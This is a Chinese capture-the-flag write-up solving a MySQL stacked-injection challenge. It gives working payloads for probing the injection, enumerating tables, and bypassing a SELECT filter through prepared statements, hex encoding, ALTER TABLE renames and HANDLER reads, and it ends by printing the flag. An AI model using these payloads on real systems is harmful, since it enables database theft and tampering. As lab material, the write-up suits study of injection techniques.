BUUCTF-WEB:[强网杯 2019]随便注 1
題目環境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn
打開環境:
嘗試注入:
解題思路:
 1、先嘗試用union聯合注入:
第一步、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
1'? ? ? ? ? ? ? ? ? ? ? ? ? ? ?[error]
 1'#? ? ? ? ? ? ? ? ? ? ? ? ? ?[不報錯,正常回顯]
 1' and 1=1#? ? ? ? ? ? ?[不報錯,正常回顯]
 1' or?1=1#? ? ? ? ? ? ? ? [不報錯,正?;仫@]
 初步判定存在SQL注入
第二步、利用order by查表的列數
1' order by 1#? ? ? ? [不報錯,正?;仫@]
1' order by 2#? ? ? ??[不報錯,正?;仫@]
1' order by 3#? ? ? ? [error 1054 : Unknown column '3' in 'order clause']
得知這張表有三列
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執行的批處理命令及執行的結果等)
1' union select 1,2#? ? ? [return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----回顯了過濾的關鍵字(/i表示對大小寫不敏感)
2、不能找到回顯位,接下來嘗試使用堆疊注入(就是通過?;分號注入多條SQL語句)
①通過show databases爆出數據庫:1';show databases;#(執行結果如下圖)
 ②用 show tables 嘗試爆表:1';show tables;#(發現有words和1919810931114514這兩張表)
 ③可以看到這里有兩個表,我們先嘗試爆words表中的內容:1'; show columns from words; #
然后爆表 1919810931114514 中的內容:1'; show columns from `1919810931114514`; #??
 注意:表名為數字時,要用反引號包起來查詢(反引號為英文狀態下的Tab上面那個鍵)
以上步驟可以發現爆出來了flag字段,然而我對于flag毫無辦法:
這里過濾了select,也沒有發現繞過select的地方(大小寫,加注釋)。
 于是可以考慮一下報錯注入,這里限制了update,那么就不用updatexml,用extractvalue
到這里可以查出簡單的信息,但是過濾了select,似乎無法進一步查表查列了。
可以看到1919810931114514表中有我們想要的flag字段,現在常規方法基本就結束了,要想獲得flag就必須來點騷姿勢了
 借鑒一下大佬們的wp:大佬A、大佬B
繞過SELECT解題思路1:SQL預編譯
上一步我們可以得知flag存在于1919810931114514表的flag字段
 接下來要讀取此字段內的數據,我們要執行的目標語句是:select * from `1919810931114514`;但是由上面步驟可知過濾了select關鍵字
 這里需要繞過select的限制,我們可以使用SQL預編譯的方式:
直接上payload就懂了:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#拆分開來如下 -1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt; #
這里檢測到了set和prepare關鍵詞,但strstr這個函數并不能區分大小寫,我們將其大寫即可。
 payload改為:
獲得FLAG:
flag{916339c0-aa58-4f9e-827f-6489a2d3ff44}或者:
因為select被過濾了,所以先將select * from `?1919810931114514?`進行16進制編碼
再通過構造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
進而得到flag
- prepare…from…是預處理語句,會進行編碼轉換。
- execute用來執行由SQLPrepare創建的SQL語句。
- SELECT可以在一條語句里對多個變量同時賦值,而SET只能一次對一個變量賦值。
繞過SELECT解題思路2:更改表名列名
 ?雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字
由上面的探測我們可以猜測出這里會查詢出words表的data列的結果。也就是類似于下面的sql語句:
select * from words where id = '';反想一下,我們如果將表1919810931114514名字改為words,flag列名字改為id,那么我們就能得到flag的內容了!
 修改表名和列名的語法如下:
最終payload如下:先將原來的表words改為words1,將表1919810931114514名字改為words,flag列名字改為id
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#拆分開來如下 1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #然后使用1' or 1=1#即可查詢出flag(相當于二次注入)
?
繞過SELECT解題思路3:handler語句代替select查詢
 類似題型:[2020i春秋抗疫賽] WEB blanklist(SQL堆疊注入、handler繞過)
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句并不具備select語句的所有功能。它是mysql專用的語句,并沒有包含到SQL標準中。
語法結構:HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE 如:通過handler語句查詢users表的內容 handler users open as yunensec; #指定數據表進行載入并將返回句柄重命名 handler yunensec read first; #讀取指定表/句柄的首行數據 handler yunensec read next; #讀取指定表/句柄的下一行數據 handler yunensec read next; #讀取指定表/句柄的下一行數據 ... handler yunensec close; #關閉句柄本題payload如下:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#?
?
總結
以上是生活随笔為你收集整理的BUUCTF-WEB:[强网杯 2019]随便注 1的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 【CyberSecurityLearni
- 下一篇: 面向大数据处理的数据流编程模型和工具综述
